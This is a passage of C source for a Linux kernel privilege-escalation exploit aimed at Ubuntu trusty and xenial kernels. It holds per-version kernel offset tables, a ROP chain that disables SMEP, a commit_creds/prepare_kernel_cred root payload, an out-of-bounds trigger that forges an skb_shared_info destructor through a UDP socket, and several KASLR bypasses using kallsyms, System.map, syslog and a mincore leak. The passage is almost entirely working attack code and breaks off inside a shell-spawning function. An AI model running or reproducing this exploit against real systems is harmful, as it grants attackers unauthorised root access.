{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
|
||||
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
|
||||
{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
|
||||
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
|
||||
// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
|
||||
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
|
||||
// Used when ENABLE_SMEP_BYPASS is used.
|
||||
// - xchg eax, esp ; ret
|
||||
// - pop rdi ; ret
|
||||
// - mov dword ptr [rdi], eax ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
|
||||
// - neg rax ; ret
|
||||
// - pop rcx ; ret
|
||||
// - or rax, rcx ; ret
|
||||
// - xchg eax, edi ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
|
||||
// - jmp rcx
|
||||
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
|
||||
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
|
||||
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
|
||||
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
|
||||
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
|
||||
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
|
||||
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
|
||||
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
|
||||
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
|
||||
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
|
||||
|
||||
uint64_t saved_esp;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
call get_root \n\
|
||||
ret \n\
|
||||
" : : "m"(saved_esp) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
#define CHAIN_SAVE_ESP \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_esp; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define SMEP_MASK 0x100000
|
||||
|
||||
#define CHAIN_DISABLE_SMEP \
|
||||
*stack++ = MOV_RAX_CR4_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = SMEP_MASK; \
|
||||
*stack++ = OR_RAX_RCX_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = XCHG_EAX_EDI_RET; \
|
||||
*stack++ = MOV_CR4_RDI_RET;
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX;
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_aligned, stack_addr;
|
||||
int page_size, stack_size, stack_offset;
|
||||
uint64_t* stack;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
stack_addr = stack_aligned - page_size * 4;
|
||||
stack_size = page_size * 8;
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
|
||||
dprintf("[-] mmap()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
|
||||
|
||||
CHAIN_SAVE_ESP;
|
||||
CHAIN_DISABLE_SMEP;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_skb_buffer(char* buffer, unsigned long func) {
|
||||
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
|
||||
memset(ssi, 0, sizeof(*ssi));
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ssi->nr_frags = 0;
|
||||
ssi->frag_list = 0;
|
||||
|
||||
ui.callback = func;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define SHINFO_OFFSET 3164
|
||||
|
||||
void oob_execute(unsigned long payload) {
|
||||
char buffer[4096];
|
||||
memset(&buffer[0], 0x42, 4096);
|
||||
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
|
||||
|
||||
int s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(8000);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
if (connect(s, (void*)&addr, sizeof(addr))) {
|
||||
dprintf("[-] connect()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
|
||||
int rv = send(s, buffer, size, MSG_MORE);
|
||||
if (rv != size) {
|
||||
dprintf("[-] send()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int val = 1;
|
||||
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
|
||||
if (rv != 0) {
|
||||
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
send(s, buffer, 1, 0);
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define LSB_RELEASE_LENGTH 1024
|
||||
|
||||
void get_distro_codename(char* output, int max_length) {
|
||||
char buffer[LSB_RELEASE_LENGTH];
|
||||
char* path = "/etc/lsb-release";
|
||||
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
const char *needle = "DISTRIB_CODENAME=";
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL) {
|
||||
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
if (i >= max_length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if ((found - &buffer[0]) + needle_length + i >= length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define DISTRO_CODENAME_LENGTH 32
|
||||
|
||||
void detect_kernel() {
|
||||
char codename[DISTRO_CODENAME_LENGTH];
|
||||
struct utsname u;
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "14.04.1")) {
|
||||
strcpy(&codename[0], "trusty");
|
||||
} else if (strstr(u.version, "16.04.1")) {
|
||||
strcpy(&codename[0], "xenial");
|
||||
} else {
|
||||
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
|
||||
|
||||
// Linux Mint kernel release mappings
|
||||
if (!strcmp(&codename[0], "qiana"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rebecca"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rafaela"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rosa"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "sarah"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "serena"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "sonya"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
|
||||
strcmp(u.release, kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
if (rv >= 2) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#if !ENABLE_SMEP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strcmp("trusty", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
if (strcmp("xenial", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[!] unprivileged user namespaces are not available\n");
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
